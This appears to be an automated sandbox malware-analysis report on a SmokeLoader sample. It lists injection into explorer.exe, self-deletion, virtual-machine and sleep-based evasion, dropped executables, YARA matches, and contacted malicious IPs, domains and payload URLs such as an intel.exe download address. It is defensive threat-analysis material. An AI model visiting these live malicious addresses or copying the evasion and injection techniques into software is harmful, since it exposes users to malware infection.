Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004A6FF6 push 0049E758h; ret 5_2_004A7053
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B004D push dword ptr [004FE19Fh]; ret 5_2_004B0058
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B1047 push 004A2674h; ret 5_2_004B1057
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_00468048 push 00461400h; ret 5_2_00468139
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_0049305B push 0045F504h; ret 5_2_00493567
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_004B0059 push dword ptr [004FE1CFh]; ret 5_2_004B0410
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe Code function: 5_2_00489051 push 004618E3h; ret 5_2_0048916C
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\wdscede Jump to dropped file
Drops PE files
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\EE5A.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\F50.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe File created: C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\wdscede Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\file.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\wdscede:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\F50.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Checks if the current machine is a virtual machine (disk enumeration)
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\explorer.exe TID: 4192 Thread sleep count: 637 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 2952 Thread sleep count: 1092 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 2952 Thread sleep time: -109200s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 4184 Thread sleep count: 1115 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 4184 Thread sleep time: -111500s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 5188 Thread sleep count: 550 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 2088 Thread sleep count: 672 > 30 Jump to behavior
Source: C:\Windows\explorer.exe TID: 2088 Thread sleep time: -67200s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F50.exe TID: 4792 Thread sleep time: -600000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\rundll32.exe Last function: Thread delayed
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Local\Temp\F50.exe Thread delayed: delay time: 600000 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 637 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 1092 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 1115 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 550 Jump to behavior
Source: C:\Windows\explorer.exe Window / User API: threadDelayed 672 Jump to behavior
Queries disk information (often used to detect virtual machines)
Source: C:\Users\user\AppData\Local\Temp\F50.exe File opened: PHYSICALDRIVE0 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\EE5A.exe API coverage: 7.8 %
Source: C:\Windows\explorer.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Thread delayed: delay time: 136000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\F50.exe Thread delayed: delay time: 600000 Jump to behavior
Source: explorer.exe, 00000001.00000000.363064652.000000000834F000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
Source: explorer.exe, 00000001.00000000.362954158.000000000830B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000001.00000000.412581778.00000000059F0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
Source: explorer.exe, 00000001.00000000.419969710.0000000008394000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: F50.exe, 0000000C.00000002.569572014.0000000004A5F000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vMCI,
Source: explorer.exe, 00000001.00000000.396142843.000000000CDC8000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: _VMware_SATA_CD00#5&
Source: F50.exe, 00000006.00000000.485963215.0000000002BE1000.00000002.00000001.01000000.00000008.sdmp, F50.exe, 0000000C.00000000.526838122.0000000002BE1000.00000002.00000001.01000000.00000008.sdmp, F50.exe.1.dr Binary or memory string: ~kVOkVdsnqemU}
Source: explorer.exe, 00000001.00000000.362954158.000000000830B000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
Source: F50.exe, 0000000C.00000002.576900632.0000000005462000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: K,<=;;?9:VMcI;8
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02C00D90 mov eax, dword ptr fs:[00000030h] 0_2_02C00D90
Source: C:\Users\user\Desktop\file.exe Code function: 0_2_02C0092B mov eax, dword ptr fs:[00000030h] 0_2_02C0092B

HIPS / PFW / Operating System Protection Evasion
barindex
Benign windows process drops PE files
Source: C:\Windows\explorer.exe File created: wdscede.1.dr Jump to dropped file
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 194.135.33.42 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: vatra.at
Source: C:\Windows\explorer.exe Domain query: degroeneuitzender.nl
Maps a DLL or memory area into another process
Source: C:\Users\user\Desktop\file.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Section loaded: unknown target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Users\user\Desktop\file.exe Thread created: C:\Windows\explorer.exe EIP: 2A419E0 Jump to behavior
Source: C:\Users\user\AppData\Roaming\wdscede Thread created: unknown EIP: 4C019E0 Jump to behavior
Source: explorer.exe, 00000001.00000000.405860360.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.378018364.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.341647376.0000000000E50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: EProgram Managerzx
Source: explorer.exe, 00000001.00000000.405860360.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.378018364.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.382372011.0000000005C70000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.405860360.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.378018364.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.341647376.0000000000E50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.377617070.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.341516862.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.405341084.00000000009C8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progmanath
Source: explorer.exe, 00000001.00000000.405860360.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.378018364.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.341647376.0000000000E50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected SmokeLoader
Source: Yara match File source: 0.3.file.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.2bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.2c00e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.wdscede.2be0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422745433.0000000002D51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.587334500.0000000002E71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.327713150.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.570683568.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.586404126.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422685888.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected SmokeLoader
Source: Yara match File source: 0.3.file.exe.2d30000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.2bd0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.2c00e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.wdscede.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.3.wdscede.2be0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000001.00000000.407390160.0000000002A41000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422745433.0000000002D51000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.587334500.0000000002E71000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.327713150.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.570683568.0000000002BE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.586404126.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.422685888.0000000002D30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 780216 Sample: file.exe Startdate: 08/01/2023 Architecture: WINDOWS Score: 100 52 Snort IDS alert for network traffic 2->52 54 Multi AV Scanner detection for domain / URL 2->54 56 Malicious sample detected (through community Yara rule) 2->56 58 7 other signatures 2->58 8 file.exe 2->8         started        11 wdscede 2->11         started        13 F50.exe 2->13         started        process3 signatures4 68 Detected unpacking (changes PE section rights) 8->68 70 Maps a DLL or memory area into another process 8->70 72 Checks if the current machine is a virtual machine (disk enumeration) 8->72 15 explorer.exe 6 8->15 injected 74 Multi AV Scanner detection for dropped file 11->74 76 Machine Learning detection for dropped file 11->76 78 Creates a thread in another existing process (thread injection) 11->78 process5 dnsIp6 38 58.235.189.192, 49696, 49702, 49705 SKB-ASSKBroadbandCoLtdKR Korea Republic of 15->38 40 degroeneuitzender.nl 5.135.247.111, 443, 49701 OVHFR France 15->40 42 7 other IPs or domains 15->42 28 C:\Users\user\AppData\Roaming\wdscede, PE32 15->28 dropped 30 C:\Users\user\AppData\Local\Temp\F50.exe, PE32 15->30 dropped 32 C:\Users\user\AppData\Local\TempE5A.exe, PE32 15->32 dropped 34 C:\Users\user\...\wdscede:Zone.Identifier, ASCII 15->34 dropped 44 System process connects to network (likely due to code injection or exploit) 15->44 46 Benign windows process drops PE files 15->46 48 Deletes itself after installation 15->48 50 Hides that the sample has been downloaded from the Internet (zone.identifier) 15->50 20 EE5A.exe 1 15->20         started        24 F50.exe 15->24         started        file7 signatures8 process9 file10 36 C:\Users\user\AppData\Local\Temp\Wtfoiq.tmp, PE32 20->36 dropped 60 Multi AV Scanner detection for dropped file 20->60 62 Detected unpacking (changes PE section rights) 20->62 64 Detected unpacking (overwrites its own PE header) 20->64 26 rundll32.exe 1 20->26         started        66 Machine Learning detection for dropped file 24->66 signatures11 process12
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
5.135.247.111
 degroeneuitzender.nl France
16276 OVHFR true
187.170.238.164
 unknown Mexico
8151 UninetSAdeCVMX false
194.135.33.42
 unknown Russian Federation
49392 ASBAXETNRU true
211.40.39.251
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR false
109.98.58.98
 unknown Romania
9050 RTDBucharestRomaniaRO false
211.119.84.112
 unknown Korea Republic of
3786 LGDACOMLGDACOMCorporationKR true
200.46.66.71
 vatra.at Panama
18809 CableOndaPA true
58.235.189.192
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR true

Private

IP
192.168.2.1

Contacted Domains

Name IP Active
degroeneuitzender.nl 5.135.247.111 true
vatra.at 200.46.66.71 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://degroeneuitzender.nl/systems/index.php false
  • URL Reputation: safe
  • URL Reputation: safe
 unknown
http://194.135.33.42/intel.exe true
  • 2%, Virustotal, Browse
  • Avira URL Cloud: malware
 unknown
http://cracker.biz/tmp/ true
  • URL Reputation: safe
 unknown
http://skinndia.com/tmp/ true
  • URL Reputation: safe
 unknown
http://vatra.at/tmp/ true
  • URL Reputation: safe
 unknown
http://piratia-life.ru/tmp/ false
    		high